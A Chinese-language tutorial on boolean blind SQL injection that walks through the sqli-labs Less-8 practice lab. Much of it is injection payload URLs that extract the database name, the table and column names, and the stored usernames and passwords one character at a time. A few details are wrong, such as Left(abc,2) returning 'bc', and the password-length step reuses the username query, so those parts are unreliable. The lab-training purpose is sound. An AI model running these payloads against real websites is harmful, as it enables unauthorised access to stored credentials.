web安全入门之SQL注入-布尔型盲注

SQL注入之布尔型盲注

1.布尔型盲注

布尔型盲注应用于无数据回显，且WEB页面无报错信息的情况，此时不能通过报错型注入的方法来爆出数据，布尔型盲注的WEB页面只有两种回显结果，正确的页面以及错误的页面，且错误的页面无报错提示语句，正确的页面不能输出数据。

2.函数

盲注，其注入就是通过函数的执行结果来猜测数据

Length()函数

其功能为返回字符串的长度
比如length(abc)返回3

Sunstr()函数

其功能为截取字符串
substr(abc,1,1):含义为从abc的第一位开始取数，步长为1，结果显示a

Mid()函数

其功能为取出字符串的一部分值
Mid(abc,1,1)：从abc的第一位开始取数，步长为1，与substr()函数用法一致，结果显示为a

Left()函数

其功能为取出字符串左边的几个数据
Left(abc,1):返回a
Left(abc,2):返回bc

Ord()与ASCII()函数

其功能为返回一个字符的ASCII码值
ASCII(s):返回115

Hex()函数

其功能为返回该数的十六进制形式

Less-8

在Less-8和Less-9中我们就用到布尔型盲注来爆出数据

1.求其闭合方式

关键SQL注入语句：
/?id=1’ and 1=1 --+
/?id=1’ and 1=2 --+
测的其结果为’'单引号闭合

2.二分法求列数

此时求列数时，当我们数据进入的排序数错误时，回显结果为空，正确时显示正确页面结果

关键SQL注入语句：
/?id=1’ order by 10 --+
/?id=1’ order by 5 --+
/?id=1’ order by 3 --+
/?id=1’ order by 4 --+

其结果显示为3列

3.求其数据库名

此时就要用到函数来一步步猜其数据库名

(1).猜其数据库名的长度

用到的函数为length(),同样使用二分法来猜其库名的长度

关键SQL注入语句：
/?id=1’ and length(database())>10 --+
/?id=1’ and length(database())>5 --+
/?id=1’ and length(database())>7 --+
/?id=1’ and length(database())>8 --+

得出其库名的长度为8

(2).猜库名

此时我们需要用到mid()函数来截取库名字母，通过ord()函数得出其ASCII编码，再对照ASCII编码表来查询字母

ASCII编码中65-90为大写字母A-Z，97-122为小写字母a-z

关键SQL注入语句：

首字母查询：
/?id=1’ and ord(mid(database(),1,1))>90 --+ //判断字母的大小写，在ASCII编码中>90的为小写字母
/?id=1’ and ord(mid(database(),1,1))>110 --+
/?id=1’ and ord(mid(database(),1,1))>120 --+
/?id=1’ and ord(mid(database(),1,1))>115 --+
/?id=1’ and ord(mid(database(),1,1))>114 --+

得到其库名首字母为"s(小写)"

第二个字母:
关键SQL注入语句：
/?id=1’ and ord(mid(database(),2,1))>90
/?id=1’ and ord(mid(database(),2,1))>110
/?id=1’ and ord(mid(database(),2,1))>100
/?id=1’ and ord(mid(database(),2,1))>101
可得第二个字母为"e"

之后的6个字母都用相同的方法来查询，最后我们可得到其库名为"security"

4.查其表名

在猜其表名时，应该借助程序来查询，因为人为查询过程及其繁琐，且一个数据库中有多张表。

其原理同查询库名一样，我们在此可以查询第一个表名首字母作为范例

1.第一张表(为范例，之后的表同样的方法)

(1)第一张表长度查询

关键SQL注入语句：
?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>5 --+

?id=1’ and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>6 --+

得第一张表的表名长度为6

(2)第一张表首字母查询

关键SQL注入语句：

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>90 //判断第一个表的表名首字母大小写

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)>110

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>100

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))>101

得到ASCII编码10进制数为101，查表可得该字符为"e"

第一张表第二个字母查询：

关键SQL注入语句：

/?id=1’ and ord(mid((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),2,1))>108

第二个字母ASCII编码十进制数为108，查表可得其结果为"m"

之后的4个字母通过控制mid()函数的参数可以查出结果，可得第一张表名为"emails"

之后的几张表用通过修改limit 0,1控制输出可以查出结果，可得第二张表名为"referers",第三张表名为"uagents",第四张表名为"users"

5.查其列名

与表一样，一张表里可能有多个列，人为查询相当繁琐，建议通过程序来执行查询

1.第二列

在此处，只以第二列为例

(1).求其users表中的第二列的长度

关键SQL注入语句：
/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>7 --+

/?id=1’ and length((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1))>8 --+

求得users表中，第二列长度为8

(2).求其users表中第二列的首字母

关键SQL注入语句：
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>90 //判断第一个表的表名首字母大小写
/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>110

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>120

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>115

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>116

/?id=1’ and ord(mid((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),1,1))>117

可得出第二列首字母ACSII编码十进制数为117，查表可得首字母为"u"

剩下7个字母，通过修改mid()函数参数来实现，最终可得出第二列列名为"username"

之后的几列用通过修改limit 0,1控制输出可以查出结果，可得第一列列名为"id",第三列列名为"password"

6.查数据

已知库名，表名，及其列名，可以查出表中的数据

(1).其username列中第一行数据的长度

关键SQL注入语句：
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4

可得出列中第一行数据的长度为4

(2).查username列中第一行数据的首字母

关键SQL注入语句：
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select username from security.users limit 0,1),1,1))>68 --+

得到列中第一行首字母ASCII编码十进制为68，查表可得首字母为"D"

通过mid()函数参数控制可得，该行数据为Dumb
通过limit 0,1控制可得，其他行的数据

(3).查password列中第一行数据的长度

关键SQL注入语句：
/?id=1’ and length((select username from security.users limit 0,1))>3
/?id=1’ and length((select username from security.users limit 0,1))>4

可得password列第一行数据长度为4

(4).查password列第一行数据的首字母

关键SQL注入语句：
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>90 --+ //判断其第一行首字母的大小写
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>65 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>70 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>67 --+
/?id=1’ and ord(mid((select password from security.users limit 0,1),1,1))>68 --+

可得password列第一行首字母ASCII码值为68，查表可得首字母为**“D”**

通过mid()函数参数控制可得，该行数据为Dumb
通过limit 0,1控制可得，其他行的数据

由此可以的出第一个用户的数据，用户名username:Dumb 密码:password:Dumb

用同样的方法可求出其他用户名和密码